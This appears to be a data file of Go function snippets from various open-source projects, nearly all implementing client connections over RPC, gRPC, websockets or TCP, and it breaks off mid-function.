nb.NewClient(&nb.APIRouterNodePort{\n\t\tServiceMgmt: r.ServiceMgmt,\n\t\tNodeIP: nodeIP,\n\t})\n\n\tr.NBClient.SetAuthToken(r.SecretOp.StringData[\"auth_token\"])\n\n\t// Check that the server is indeed serving the API already\n\t// we use the read_auth call here because it's an API that always answers\n\t// even when auth_token is empty.\n\t_, err := r.NBClient.ReadAuthAPI()\n\treturn err\n\n\t// if len(r.NooBaa.Status.Services.ServiceMgmt.PodPorts) != 0 {\n\t// \tpodPort := r.NooBaa.Status.Services.ServiceMgmt.PodPorts[0]\n\t// \tpodIP := podPort[strings.Index(podPort, \"://\")+3 : strings.LastIndex(podPort, \":\")]\n\t// \tr.NBClient = nb.NewClient(&nb.APIRouterPodPort{\n\t// \t\tServiceMgmt: r.ServiceMgmt,\n\t// \t\tPodIP: podIP,\n\t// \t})\n\t// \tr.NBClient.SetAuthToken(r.SecretOp.StringData[\"auth_token\"])\n\t// \treturn nil\n\t// }\n\n}", "func connectServer() (pb.ConfigClient, *grpc.ClientConn, error) {\n\tvar err error\n\n\tserver := os.Getenv(ServerNameEnv)\n\tif server == \"\" {\n\t\tserver = DefaultServer\n\t}\n\n\tlog.Printf(\"Connecting to the server: \\\"%s\\\"\\n\", server)\n\n\tcliconn, err := grpc.Dial(server, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"ocdclient: Can't create a new config client.\")\n\t}\n\n\tclient := pb.NewConfigClient(cliconn)\n\tif client == nil {\n\t\treturn nil, nil, fmt.Errorf(\"ocdclient: can't create a new config client.\")\n\t}\n\n\tlog.Printf(\"Connected: client=%v\\n\", client)\n\treturn client, cliconn, nil\n}", "func TestCatalogServiceNodes_ConnectProxy(t *testing.T) {\n\tt.Parallel()\n\n\tassert := assert.New(t)\n\ta := NewTestAgent(t, t.Name(), \"\")\n\tdefer a.Shutdown()\n\ttestrpc.WaitForLeader(t, a.RPC, \"dc1\")\n\n\t// Register\n\targs := structs.TestRegisterRequestProxy(t)\n\tvar out struct{}\n\tassert.Nil(a.RPC(\"Catalog.Register\", args, &out))\n\n\treq, _ := http.NewRequest(\"GET\", fmt.Sprintf(\n\t\t\"/v1/catalog/service/%s\", args.Service.Service), nil)\n\tresp := httptest.NewRecorder()\n\tobj, err := a.srv.CatalogServiceNodes(resp, req)\n\tassert.Nil(err)\n\tassertIndex(t, resp)\n\n\tnodes := obj.(structs.ServiceNodes)\n\tassert.Len(nodes, 1)\n\tassert.Equal(structs.ServiceKindConnectProxy, nodes[0].ServiceKind)\n\tassert.Equal(args.Service.Proxy, nodes[0].ServiceProxy)\n\t// DEPRECATED (ProxyDestination) - remove this when removing ProxyDestination\n\tassert.Equal(args.Service.Proxy.DestinationServiceName, nodes[0].ServiceProxyDestination)\n}", "func connect(host string) (*rpc.Client, error) {\n\taddr := fmt.Sprintf(\"%s:%d\", host, *Port)\n\tc, e := rpc.DialHTTP(\"tcp\", addr)\n\tif e != nil {\n\t\treturn nil, fmt.Errorf(\"Dialing Prism %s: %v\", addr, e)\n\t}\n\treturn c, nil\n}", "func (m *RPCModule) connect(host string, port int, user, pass string) util.Map {\n\n\t// Create a client\n\tc := client.NewClient(&types2.Options{\n\t\tHost: host,\n\t\tPort: port,\n\t\tUser: user,\n\t\tPassword: pass,\n\t})\n\n\t// Create a RPC context\n\tctx := m.ClientContextMaker(c)\n\n\t// Add call function for raw calls\n\tctx.Objects[\"call\"] = ctx.call\n\n\t// Attempt to query the methods from the RPC server.\n\t// Panics if not successful.\n\tmethods := ctx.call(\"rpc_methods\")\n\n\t// Build RPC namespaces and add methods into them\n\tfor _, method := range methods[\"methods\"].([]interface{}) {\n\t\to := objx.New(method)\n\t\tnamespace := o.Get(\"namespace\").String()\n\t\tname := o.Get(\"name\").String()\n\t\tnsObj, ok := ctx.Objects[namespace]\n\t\tif !ok {\n\t\t\tnsObj = make(map[string]interface{})\n\t\t\tctx.Objects[namespace] = nsObj\n\t\t}\n\t\tnsObj.(map[string]interface{})[name] = func(params ...interface{}) interface{} {\n\t\t\treturn ctx.call(fmt.Sprintf(\"%s_%s\", namespace, name), params...)\n\t\t}\n\t}\n\n\treturn ctx.Objects\n}", "func (s *Streamer) ConnectWS() error {\n\tscheme := \"wss\"\n\tif strings.HasPrefix(s.serverAddr, \"http://\") {\n\t\tscheme = \"ws\"\n\t}\n\n\thost := strings.Replace(strings.Replace(s.serverAddr, \"http://\", \"\", 1), \"https://\", \"\", 1)\n\turl := url.URL{Scheme: scheme, Host: host, Path: fmt.Sprintf(\"/ws/%s\", s.username)}\n\tlog.Printf(\"Openning socket at %s\", url.String())\n\n\tconn, _, err := websocket.DefaultDialer.Dial(url.String(), nil)\n\ts.conn = conn\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to connect to server\")\n\t}\n\n\t//Handle server ping\n\tconn.SetPingHandler(func(appData string) error {\n\t\treturn s.conn.WriteControl(websocket.PongMessage, emptyByteArray, time.Time{})\n\t})\n\n\t// Handle server ping\n\tconn.SetCloseHandler(func(code int, text string) error {\n\t\ts.Stop(\"Closed connection by server\")\n\t\treturn nil\n\t})\n\n\t// send client info so server can verify\n\tclientInfo := message.ClientInfo{\n\t\tName: s.username,\n\t\tRole: message.RStreamer,\n\t\tSecret: s.secret,\n\t}\n\n\tpayload := message.Wrapper{\n\t\tType: message.TClientInfo,\n\t\tData: clientInfo,\n\t}\n\terr = conn.WriteJSON(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to connect to server\")\n\t}\n\n\t// Verify server's response\n\tmsg := message.Wrapper{}\n\terr = conn.ReadJSON(&msg)\n\tif msg.Type == message.TStreamerUnauthorized {\n\t\treturn fmt.Errorf(\"Unauthorized connection\")\n\t} else if msg.Type != message.TStreamerAuthorized {\n\t\treturn fmt.Errorf(\"Expect connect confirmation from server\")\n\t}\n\treturn nil\n}", "func (g *Gemini) WsConnect() error {\n\tif !g.Websocket.IsEnabled() || !g.IsEnabled() {\n\t\treturn errors.New(stream.WebsocketNotEnabled)\n\t}\n\n\tvar dialer websocket.Dialer\n\terr := g.Websocket.Conn.Dial(&dialer, http.Header{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tg.Websocket.Wg.Add(2)\n\tgo g.wsReadData()\n\tgo g.wsFunnelConnectionData(g.Websocket.Conn)\n\n\tif g.Websocket.CanUseAuthenticatedEndpoints() {\n\t\terr := g.WsAuth(context.TODO(), &dialer)\n\t\tif err != nil {\n\t\t\tlog.Errorf(log.ExchangeSys, \"%v - websocket authentication failed: %v\\n\", g.Name, err)\n\t\t\tg.Websocket.SetCanUseAuthenticatedEndpoints(false)\n\t\t}\n\t}\n\treturn nil\n}", "func connect() net.Conn {\n\t//connection, err := net.Dial(\"unix\", \"/var/www/bot/irc/sock\")\n\tconnection, err := net.Dial(\"tcp\", \"localhost:8765\")\n\n\t//\tsendCommand(connection, \"PASS\", password)\n\t//\tsendCommand(connection, \"USER\", fmt.Sprintf(\"%s 8 * :%s\\r\\n\", nickname, nickname))\n\t//\tsendCommand(connection, \"NICK\", nickname)\n\t//\tfmt.Println(\"Registration sent\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjoinChannels(connection)\n\n\treturn connection\n}", "func (o *Okcoin) WsConnect() error {\n\tif !o.Websocket.IsEnabled() || !o.IsEnabled() {\n\t\treturn errors.New(stream.WebsocketNotEnabled)\n\t}\n\tvar dialer websocket.Dialer\n\tdialer.ReadBufferSize = 8192\n\tdialer.WriteBufferSize = 8192\n\terr := o.Websocket.Conn.Dial(&dialer, http.Header{})\n\tif err != nil {\n\t\treturn err\n\t}\n\tif o.Verbose {\n\t\tlog.Debugf(log.ExchangeSys, \"Successful connection to %v\\n\",\n\t\t\to.Websocket.GetWebsocketURL())\n\t}\n\to.Websocket.Conn.SetupPingHandler(stream.PingHandler{\n\t\tDelay: time.Second * 25,\n\t\tMessage: []byte(\"ping\"),\n\t\tMessageType: websocket.TextMessage,\n\t})\n\n\to.Websocket.Wg.Add(1)\n\tgo o.WsReadData(o.Websocket.Conn)\n\n\tif o.IsWebsocketAuthenticationSupported() {\n\t\terr = o.WsLogin(context.TODO(), &dialer)\n\t\tif err != nil {\n\t\t\tlog.Errorf(log.ExchangeSys,\n\t\t\t\t\"%v - authentication failed: %v\\n\",\n\t\t\t\to.Name,\n\t\t\t\terr)\n\t\t}\n\t}\n\treturn nil\n}", "func (c *Connector) Connect(\n\tr *gohttp.Request,\n\tcredentialsByID connector.CredentialValuesByID,\n) error {\n\t// TODO: add logic according to\n\t// https://github.com/cyberark/secretless-broker/blob/master/pkg/secretless/plugin/connector/README.md#http-connector\n\n\tvar err error\n\treturn err\n}", "func Connect(host string, port int, userID string) (*Channel, error) {\n\n\trequestHandler := handler.New(host, port)\n\titemHandler := handler.New(host, port)\n\tif tryConnection(requestHandler) != nil || tryConnection(itemHandler) != nil {\n\t\treturn nil, errors.New(\"Connection could not be made, try again later\")\n\t}\n\n\tchannel := &Channel{userID, requestHandler, itemHandler, make(map[string]*chan interface{})}\n\tgo channel.receiveItem()\n\terr := sendRegistrationRequest(userID, channel)\n\treturn channel, err\n}", "func Connect(w http.ResponseWriter, r *http.Request) {\n\truntime := r.Context().Value(\"runtime\").(*libpod.Runtime)\n\n\tvar (\n\t\taliases []string\n\t\tnetConnect types.NetworkConnect\n\t)\n\tif err := json.NewDecoder(r.Body).Decode(&netConnect); err != nil {\n\t\tutils.Error(w, \"Something went wrong.\", http.StatusInternalServerError, errors.Wrap(err, \"Decode()\"))\n\t\treturn\n\t}\n\tname := utils.GetName(r)\n\tif netConnect.EndpointConfig != nil {\n\t\tif netConnect.EndpointConfig.Aliases != nil {\n\t\t\taliases = netConnect.EndpointConfig.Aliases\n\t\t}\n\t}\n\terr := runtime.ConnectContainerToNetwork(netConnect.Container, name, aliases)\n\tif err != nil {\n\t\tif errors.Cause(err) == define.ErrNoSuchCtr {\n\t\t\tutils.ContainerNotFound(w, netConnect.Container, err)\n\t\t\treturn\n\t\t}\n\t\tif errors.Cause(err) == define.ErrNoSuchNetwork {\n\t\t\tutils.Error(w, \"network not found\", http.StatusNotFound, err)\n\t\t\treturn\n\t\t}\n\t\tutils.Error(w, \"Something went wrong.\", http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tutils.WriteResponse(w, http.StatusOK, \"OK\")\n}", "func connect(dialOpts *DialOpts, grpcServer *grpc.Server, yDialer *YamuxDialer) error {\n\t// dial underlying tcp connection\n\tvar conn net.Conn\n\tvar err error\n\n\tif dialOpts.TLS {\n\t\t// use tls\n\t\tcfg := dialOpts.TLSConfig\n\t\tif cfg == nil {\n\t\t\tcfg = &tls.Config{}\n\t\t}\n\t\tconn, err = tls.Dial(\"tcp\", dialOpts.Addr, cfg)\n\n\t} else {\n\t\tconn, err = (&net.Dialer{}).DialContext(context.Background(), \"tcp\", dialOpts.Addr)\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tsession, err := yamux.Client(conn, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\t// now that we have a connection, create both clients & servers\n\n\t// setup client\n\tyDialer.SetSession(session)\n\n\t// start grpc server in a separate goroutine. this will exit when the\n\t// underlying session (conn) closes and clean itself up.\n\tgo grpcServer.Serve(session)\n\n\t// return when the conn closes so we can try reconnecting\n\t<-session.CloseChan()\n\treturn nil\n}", "func (s *Sentry) ConnectGrpc(parentCtx context.Context) (*grpc.ClientConn, error) {\n\tbundle := s.CABundle()\n\tsentrySPIFFEID, err := spiffeid.FromString(\"spiffe://localhost/ns/default/dapr-sentry\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create Sentry SPIFFE ID: %w\", err)\n\t}\n\tx509bundle, err := x509bundle.Parse(sentrySPIFFEID.TrustDomain(), bundle.TrustAnchors)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create x509 bundle: %w\", err)\n\t}\n\ttransportCredentials := grpccredentials.TLSClientCredentials(x509bundle, tlsconfig.AuthorizeID(sentrySPIFFEID))\n\n\tctx, cancel := context.WithTimeout(parentCtx, 8*time.Second)\n\tdefer cancel()\n\tconn, err := grpc.DialContext(\n\t\tctx,\n\t\tfmt.Sprintf(\"127.0.0.1:%d\", s.Port()),\n\t\tgrpc.WithTransportCredentials(transportCredentials),\n\t\tgrpc.WithReturnConnectionError(),\n\t\tgrpc.WithBlock(),\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to establish gRPC connection: %w\", err)\n\t}\n\n\treturn conn, nil\n}", "func (remote *RemoteNode) StartNodeRPC(local *RemoteNode, nodeList []*RemoteNode) error {\n\t// if local.NetworkPolicy.IsDenied(*local.Self, *remote) {\n\t// \treturn ErrorNetworkPolicyDenied\n\t// }\n\n\tcc, err := remote.RaftRPCClientConn()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trequest := StartNodeRequest{FromNode: local, NodeList: nodeList}\n\n\tok, err := cc.StartNodeCaller(context.Background(), &request)\n\tif !ok.GetOk() {\n\t\treturn fmt.Errorf(\"unable to start node\")\n\t}\n\n\treturn remote.connCheck(err)\n}", "func (c *Client) serverConnect() (*rpc.Client, error) {\n\tconn, err := tls.Dial(\"tcp\", c.server, c.config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// XXX Replace with NewClientWithCodec() to use a custom RPC encoder,\n\t// to not buffer file content in Request.Data\n\treturn rpc.NewClient(conn), nil\n}", "func (wss *WSSConnector) ConnectAndServe() error {\n\twss.log = log.With().\n\t\tStr(\"serviceURL\", wss.ServiceURL).\n\t\tStr(\"serviceName\", wss.ServiceName).\n\t\tStr(\"registerURL\", wss.RegisterURL).\n\t\tLogger()\n\n\twss.log.Info().Msg(\"ConnectAndServe starting\")\n\n\tvar sem *semaphore.Weighted = semaphore.NewWeighted(int64(wss.SlidingWindow))\n\tsigTerm, terminate := context.WithCancel(context.Background())\n\tdefer terminate()\n\twss.terminate = terminate\n\twss.wg = &sync.WaitGroup{}\n\n\tfor {\n\t\tselect {\n\t\tcase <-sigTerm.Done():\n\t\t\twss.log.Info().Msg(\"terminating...\")\n\t\t\treturn sigTerm.Err()\n\t\tdefault:\n\t\t\terr := sem.Acquire(sigTerm, 1)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\twss.wg.Add(1)\n\t\t\tgo func() {\n\t\t\t\tdefer wss.wg.Done()\n\n\t\t\t\tvar worker *WssWorker = &WssWorker{\n\t\t\t\t\tServiceName: wss.ServiceName,\n\t\t\t\t\tRegisterURL: wss.RegisterURL,\n\t\t\t\t\tServiceURL: wss.ServiceURL,\n\t\t\t\t\tShutdownTimeout: wss.ShutdownTimeout,\n\t\t\t\t}\n\n\t\t\t\terr := worker.Dial(sigTerm, wss.WSSHttpClient)\n\t\t\t\tif err != nil {\n\t\t\t\t\twss.log.Err(err).Msg(\"failed to dial\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\terr = worker.Serve(sigTerm, sem, wss.ServiceHttpClient)\n\t\t\t\tif err != nil {\n\t\t\t\t\twss.log.Err(err).Msg(\"failed to serve\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n}", "func (r *REST) Connect(ctx context.Context, id string, opts runtime.Object, responder rest.Responder) (http.Handler, error) {\n\tif !r.socketConnection {\n\t\treturn nil, apierrors.NewServiceUnavailable(fmt.Sprintf(\"featuregate %s has not been enabled on the server side\", features.SocketConnection))\n\t}\n\tsocket, ok := opts.(*proxies.Socket)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid options object: %#v\", opts)\n\t}\n\n\treturn r.Exchanger.Connect(ctx, id, socket, responder)\n}", "func (c *GatewayClient) connect() error {\n\tif !c.ready {\n\t\treturn errors.New(\"already tried to connect and failed\")\n\t}\n\n\tc.ready = false\n\tc.resuming = false\n\tc.heartbeatAcknowledged = true\n\tc.lastIdentify = time.Time{}\n\n\tc.Logf(\"connecting\")\n\t// TODO Need to set read deadline for hello packet and I also need to set write deadlines.\n\t// TODO also max message\n\tvar err error\n\tc.wsConn, _, err = websocket.DefaultDialer.Dial(c.GatewayURL, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo c.manager()\n\n\treturn nil\n}", "func ConnectWebsocketPeer(url string, serialization serialize.Serialization, tlsConfig *tls.Config, dial DialFunc, logger stdlog.StdLog, wsCfg *WebsocketConfig) (wamp.Peer, error) {\n\tvar (\n\t\tprotocol string\n\t\tpayloadType int\n\t\tserializer serialize.Serializer\n\t)\n\n\tswitch serialization {\n\tcase serialize.JSON:\n\t\tprotocol = jsonWebsocketProtocol\n\t\tpayloadType = websocket.TextMessage\n\t\tserializer = &serialize.JSONSerializer{}\n\tcase serialize.MSGPACK:\n\t\tprotocol = msgpackWebsocketProtocol\n\t\tpayloadType = websocket.BinaryMessage\n\t\tserializer = &serialize.MessagePackSerializer{}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unsupported serialization: %v\", serialization)\n\t}\n\n\tdialer := websocket.Dialer{\n\t\tSubprotocols: []string{protocol},\n\t\tTLSClientConfig: tlsConfig,\n\t\tProxy: http.ProxyFromEnvironment,\n\t\tNetDial: dial,\n\t}\n\tif wsCfg != nil {\n\t\tdialer.EnableCompression = wsCfg.EnableCompression\n\t\t//dialer.EnableContextTakeover = wsCfg.EnableContextTakeover\n\t\t//dialer.CompressionLevel = wsCfg.CompressionLevel\n\n\t\tdialer.Jar = wsCfg.Jar\n\t}\n\n\tconn, _, err := dialer.Dial(url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn NewWebsocketPeer(conn, serializer, payloadType, logger), nil\n}", "func (ch *ServerChannel) Connect(c *Client) {}", "func (n *Node) connect(entryPoint *peer.Peer) *NodeErr {\n\t// Create the request using a connection message.\n\tmsg := new(message.Message).SetType(message.ConnectType).SetFrom(n.Self)\n\treq, err := composeRequest(msg, entryPoint)\n\tif err != nil {\n\t\treturn ParseErr(\"error encoding message to request\", err)\n\t}\n\n\t// Try to join into the network through the provided peer\n\tres, err := n.client.Do(req)\n\tif err != nil {\n\t\treturn ConnErr(\"error trying to connect to a peer\", err)\n\t}\n\n\tif code := res.StatusCode; code != http.StatusOK {\n\t\terr := fmt.Errorf(\"%d http status received from %s\", code, entryPoint)\n\t\treturn ConnErr(\"error making the request to a peer\", err)\n\t}\n\n\t// Reading the list of current members of the network from the peer\n\t// response.\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn ParseErr(\"error reading peer response body\", err)\n\t}\n\tres.Body.Close()\n\n\t// Parsing the received list\n\treceivedMembers := peer.NewMembers()\n\tif receivedMembers, err = receivedMembers.FromJSON(body); err != nil {\n\t\treturn ParseErr(\"error parsing incoming member list\", err)\n\t}\n\n\t// Update current members and send a connection request to all of them,\n\t// discarting the response received (the list of current members).\n\tfor _, member := range receivedMembers.Peers() {\n\t\t// If a received peer is not the same that contains the current node try\n\t\t// to connect directly.\n\t\tif !n.Self.Equal(member) {\n\t\t\tif req, err := composeRequest(msg, member); err != nil {\n\t\t\t\treturn ParseErr(\"error decoding request to message\", err)\n\t\t\t} else if _, err := n.client.Do(req); err != nil {\n\t\t\t\treturn ConnErr(\"error trying to perform the request\", err)\n\t\t\t}\n\t\t\tn.Members.Append(member)\n\t\t}\n\t}\n\n\t// Set node status as connected.\n\tn.setConnected(true)\n\t// Append the entrypoint to the current members.\n\tn.Members.Append(entryPoint)\n\treturn nil\n}", "func Connect(\n\tctx context.Context,\n\tconfig *Config,\n) (Handle, error) {\n\tlogger.Infof(\"connecting remote Bitcoin chain\")\n\n\tconnCfg := &rpcclient.ConnConfig{\n\t\tUser: config.Username,\n\t\tPass: config.Password,\n\t\tHost: config.URL,\n\t\tHTTPPostMode: true, // Bitcoin core only supports HTTP POST mode\n\t\tDisableTLS: true, // Bitcoin core does not provide TLS by default\n\t}\n\n\tclient, err := rpcclient.New(connCfg, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"failed to create rpc client at [%s]: [%v]\",\n\t\t\tconfig.URL,\n\t\t\terr,\n\t\t)\n\t}\n\n\terr = testConnection(client, connectionTimeout)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"error while connecting to [%s]: [%v]; check if the Bitcoin node \"+\n\t\t\t\t\"is running and you provided correct credentials and url\",\n\t\t\tconfig.URL,\n\t\t\terr,\n\t\t)\n\t}\n\n\t// When the context is done, cancel all requests from the RPC client\n\t// and disconnect it.\n\tgo func() {\n\t\t<-ctx.Done()\n\t\tlogger.Info(\"disconnecting from remote Bitcoin chain\")\n\t\tclient.Shutdown()\n\t}()\n\n\treturn &remoteChain{client: client}, nil\n}", "func (pe *providerEndpoint) Connect(args *ConnectRequest, resp *ConnectResponse) error {\n\tdefer metrics.IncrCounter([]string{\"scada\", \"connect\", args.Capability}, 1)\n\tpe.p.logger.Printf(\"[INFO] scada-client: connect requested (capability: %s)\",\n\t\targs.Capability)\n\n\t// Handle potential flash\n\tif args.Severity != \"\" && args.Message != \"\" {\n\t\tpe.p.logger.Printf(\"[%s] scada-client: %s\", args.Severity, args.Message)\n\t}\n\n\t// Look for the handler\n\thandler := pe.p.config.Handlers[args.Capability]\n\tif handler == nil {\n\t\tpe.p.logger.Printf(\"[WARN] scada-client: requested capability '%s' not available\",\n\t\t\targs.Capability)\n\t\treturn fmt.Errorf(\"invalid capability\")\n\t}\n\n\t// Hijack the connection\n\tpe.setHijack(func(a io.ReadWriteCloser) {\n\t\tif err := handler(args.Capability, args.Meta, a); err != nil {\n\t\t\tpe.p.logger.Printf(\"[ERR] scada-client: '%s' handler error: %v\",\n\t\t\t\targs.Capability, err)\n\t\t}\n\t})\n\tresp.Success = true\n\treturn nil\n}", "func (auth *EdgeSampleAuth) AddNodeCredentials(key string, secret string) {\n\tauth.NodeCredentials = NodeCredentials{key, secret} \n}", "func (x *graphql__resolver_ActionsService) CreateConnection(ctx context.Context) (*grpc.ClientConn, func(), error) {\n\t// If x.conn is not nil, user injected their own connection\n\tif x.conn != nil {\n\t\treturn x.conn, func() {}, nil\n\t}\n\n\t// Otherwise, this handler opens connection with specified host\n\tconn, err := grpc.DialContext(ctx, x.host, x.dialOptions...)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn conn, func() { conn.Close() }, nil\n}", "func (t *WSTunnelClient) TestConnection(devNetStatus *types.DeviceNetworkStatus, proxyURL *url.URL, localAddr net.IP, devUUID uuid.UUID) error {\n\n\tlog := t.log\n\tif t.Tunnel == \"\" {\n\t\treturn fmt.Errorf(\"Must specify tunnel server ws://hostname:port\")\n\t}\n\tif !strings.HasPrefix(t.Tunnel, \"ws://\") && !strings.HasPrefix(t.Tunnel, \"wss://\") {\n\t\treturn fmt.Errorf(\"Remote tunnel must begin with ws:// or wss://\")\n\t}\n\tt.Tunnel = strings.TrimSuffix(t.Tunnel, \"/\")\n\n\tif t.LocalRelayServer == \"\" {\n\t\treturn fmt.Errorf(\"Must specify local relay server hostOrIP:port\")\n\t}\n\tif strings.HasPrefix(t.LocalRelayServer, \"http://\") && strings.HasPrefix(t.LocalRelayServer, \"https://\") {\n\t\treturn fmt.Errorf(\"Local server relay must not begin with http:// or https://\")\n\t}\n\tt.LocalRelayServer = strings.TrimSuffix(t.LocalRelayServer, \"/\")\n\n\tlog.Tracef(\"Testing connection to %s on local address: %v, proxy: %v\", t.Tunnel, localAddr, proxyURL)\n\tlog.Functionf(\"Testing connection to %s on local address: %v, proxy: %v\", t.Tunnel, localAddr, proxyURL)\n\n\tzedcloudCtx := ZedCloudContext{\n\t\tV2API: UseV2API(),\n\t}\n\t// zedcloudCtx V2API UseV2API()\n\ttlsConfig, err := GetTlsConfig(devNetStatus, nil, &zedcloudCtx)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdialer := &websocket.Dialer{\n\t\tReadBufferSize: 100 * 1024,\n\t\tWriteBufferSize: 100 * 1024,\n\t\tTLSClientConfig: tlsConfig,\n\t\tNetDial: func(network, addr string) (net.Conn, error) {\n\t\t\tlocalTCPAddr := net.TCPAddr{IP: localAddr}\n\t\t\tnetDialer := &net.Dialer{LocalAddr: &localTCPAddr}\n\t\t\treturn netDialer.DialContext(context.Background(), network, addr)\n\t\t},\n\t}\n\tif proxyURL != nil {\n\t\tdialer.Proxy = http.ProxyURL(proxyURL)\n\t}\n\n\tpingURL := URLPathString(t.Tunnel, zedcloudCtx.V2API, devUUID, \"connection/ping\")\n\t_, resp, err := dialer.Dial(pingURL, nil)\n\tif resp == nil { // this can get error, but with resp code is still 200\n\t\tlog.Functionf(\"TestConnection: url %s, resp %v, err %v\", pingURL, resp, err)\n\t\treturn err\n\t}\n\tlog.Tracef(\"Read ping response status code: %v for ping url: %s\", resp.StatusCode, pingURL)\n\n\tswitch resp.StatusCode {\n\tcase http.StatusOK, http.StatusCreated, http.StatusNotModified:\n\t\turl := URLPathString(t.Tunnel, zedcloudCtx.V2API, devUUID, \"connection/tunnel\")\n\t\tt.DestURL = url\n\t\tt.Dialer = dialer\n\t\tlog.Functionf(\"Connection test succeeded for url: %s on local address: %v, proxy: %v\", url, localAddr, proxyURL)\n\t\treturn nil\n\tdefault:\n\t\treturn err\n\t}\n}", "func (client *Client) Connect() error {\n\turl, err := requestRTM(client.Token)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdialer := websocket.Dialer{}\n\theaders := http.Header{}\n\n\tconn, _, err := dialer.Dial(url, headers)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient.conn = conn\n\tclient.Connected = true\n\treturn nil\n}", "func (c *rpcclient) connect(ctx context.Context) (err error) {\n\tvar success bool\n\n\tc.clients = make([]*ethConn, 0, len(c.endpoints))\n\tc.neverConnectedEndpoints = make([]endpoint, 0, len(c.endpoints))\n\n\tfor _, endpoint := range c.endpoints {\n\t\tec, err := c.connectToEndpoint(ctx, endpoint)\n\t\tif err != nil {\n\t\t\tc.log.Errorf(\"Error connecting to %q: %v\", endpoint, err)\n\t\t\tc.neverConnectedEndpoints = append(c.neverConnectedEndpoints, endpoint)\n\t\t\tcontinue\n\t\t}\n\n\t\tdefer func() {\n\t\t\t// If all connections are outdated, we will not start, so close any open connections.\n\t\t\tif !success {\n\t\t\t\tec.Close()\n\t\t\t}\n\t\t}()\n\n\t\tc.clients = append(c.clients, ec)\n\t}\n\n\tsuccess = c.sortConnectionsByHealth(ctx)\n\n\tif !success {\n\t\treturn fmt.Errorf(\"failed to connect to an up-to-date ethereum node\")\n\t}\n\n\tgo c.monitorConnectionsHealth(ctx)\n\n\treturn nil\n}", "func (client *Client) Connect(addr string) error {\n\tconn, _, err := websocket.DefaultDialer.Dial(addr, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient.Start(conn, false)\n\treturn nil\n}", "func newWebSocketChan(ctx context.Context, addr string, conn *websocket.Conn) wormhole.DataChannel {\n\treturn &webSocketChan{\n\t\tctx: ctx,\n\t\taddr: addr,\n\t\tconn: conn,\n\t\twfh: wormhole_msgp.Handler,\n\t}\n}", "func NewZookeeperNode(basePath, sname, targetValue, target string, endpoints []string, sessionTimeout time.Duration) (_ RegisterAPI, err error) {\n\tif len(endpoints) == 0 {\n\t\treturn nil, fmt.Errorf(\"grpcx: empty endpoints\")\n\t}\n\n\tfor _, endpoint := range endpoints {\n\t\tif _, err := net.ResolveTCPAddr(\"tcp4\", endpoint); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"grpcx: invalid Resolver endpoints:%v\", err)\n\t\t}\n\t}\n\n\ts := &zookeeperNode{\n\t\tendpoints: endpoints,\n\t\tstopCh: make(chan struct{}),\n\t\tsessionTimeout: sessionTimeout,\n\t\ttargetValue: targetValue,\n\t}\n\n\ts.client, s.zkEvent, err = zk.Connect(endpoints, sessionTimeout)\n\tif err != nil {\n\t\ts = nil\n\t\treturn\n\t}\n\n\tbasePath = store.Normalize(basePath)\n\tsname = store.Normalize(sname)\n\ttarget = store.Normalize(target)\n\tif strings.Contains(sname, \"/\") {\n\t\txlog.Fatalf(\"grpcx: invalid service name:%v\", sname)\n\t}\n\t// create base path fail\n\tif _, err := s.client.Create(basePath, nil, 0, []zk.ACL{zk.ACL{Perms: zk.PermAll}}); err != nil && err != zk.ErrNodeExists {\n\t\txlog.Fatalf(\"grpcx: create node base path fail:%v\", err)\n\t}\n\n\tspath := path.Join(basePath, sname)\n\t// create service path fail\n\tif _, err := s.client.Create(spath, nil, 0, []zk.ACL{zk.ACL{Perms: zk.PermAll}}); err != nil && err != zk.ErrNodeExists {\n\t\txlog.Fatalf(\"grpcx: create node service path fail:%v\", err)\n\t}\n\n\tnodePath := path.Join(spath, target)\n\ts.nodePath = nodePath\n\tgo s.eventLoop()\n\treturn s, nil\n}", "func (cfg *Config) Connect(connectTimeout time.Duration) error {\n\tidMapping := make(map[string]uint32, len(cfg.replicaCfg.Replicas)-1)\n\tfor _, replica := range cfg.replicaCfg.Replicas {\n\t\tif replica.ID != cfg.replicaCfg.ID {\n\t\t\tidMapping[replica.Address] = uint32(replica.ID)\n\t\t}\n\t}\n\n\t// embed own ID to allow other replicas to identify messages from this replica\n\tmd := metadata.New(map[string]string{\n\t\t\"id\": fmt.Sprintf(\"%d\", cfg.replicaCfg.ID),\n\t})\n\n\tmgrOpts := []gorums.ManagerOption{\n\t\tgorums.WithDialTimeout(connectTimeout),\n\t\tgorums.WithMetadata(md),\n\t}\n\tgrpcOpts := []grpc.DialOption{\n\t\tgrpc.WithBlock(),\n\t\tgrpc.WithReturnConnectionError(),\n\t}\n\n\tif 